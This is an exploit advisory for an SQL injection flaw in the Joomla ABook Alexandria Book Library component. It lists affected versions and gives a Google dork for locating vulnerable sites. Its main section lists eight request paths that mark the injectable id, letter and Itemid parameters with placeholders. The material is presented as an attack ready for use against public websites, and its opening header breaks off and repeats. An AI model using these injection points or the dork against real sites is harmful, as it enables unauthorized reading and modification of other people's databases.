####################################################################

# Exploit Title : Joomla ABook Alexandria Book Library 3.1.4 SQL Injection
# Author [ Discovered By ] : Kin ####################################################################

# Exploit Title : Joomla ABook Alexandria Book Library 3.1.4 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 12/02/2019
# Vendor Homepage : alexandriabooklibrary.org
# Software Download Link : alexandriabooklibrary.org/en/downloads/18-components.html
# Software Information Link : extensions.joomla.org/extension/alexandria-book-library/
# Software Affected Version : 3.1.4 - 2.0.4 and 1.1.2
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_abook''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
Alexandria Book Library is free and open source.

Alexandria Book Library is a Joomla component that make you the ability to manage

your personal book library or a public library.

####################################################################

# Impact :
***********
* Joomla ABook Alexandria Book Library 3.1.4 and other versions -

component for Joomla is prone to an SQL-injection vulnerability because it

fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,

access or modify data, or exploit latent vulnerabilities in the underlying database.

A remote attacker can send a specially crafted request to the vulnerable application

and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

####################################################################

# SQL Injection Exploit :
**********************
/index.php?option=com_abook&view=author&id=[SQL Injection]

/index.php?option=com_abook&view=author&id=[SQL Injection]&lang=it

/index.php?option=com_abook&view=category&letter=[SQL Injection]

/index.php?option=com_abook&view=tag&id=[ID-NUMBER]&Itemid=[SQL Injection]&lang=es

/index.php?option=com_abook&view=author&id=[ID-NUMBER]:[BOOK-NAME-HERE]&Itemid=[SQL Injection]

/index.php?option=com_abook&view=book&catid=[ID-NUMBER]::[BOOK-NAME-HERE]&Itemid=[SQL Injection]

/index.php?option=com_abook&view=author&id=[ID-NUMBER]::[BOOK-NAME-HERE]&Itemid=[SQL Injection]&lang=it

/index.php?option=com_abook&view=book&id=[ID-NUMBER]:[BOOK-NAME-HERE]&catid=[ID-NUMBER]::[BOOK-NAME-HERE]&Itemid=[SQL Injection]

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################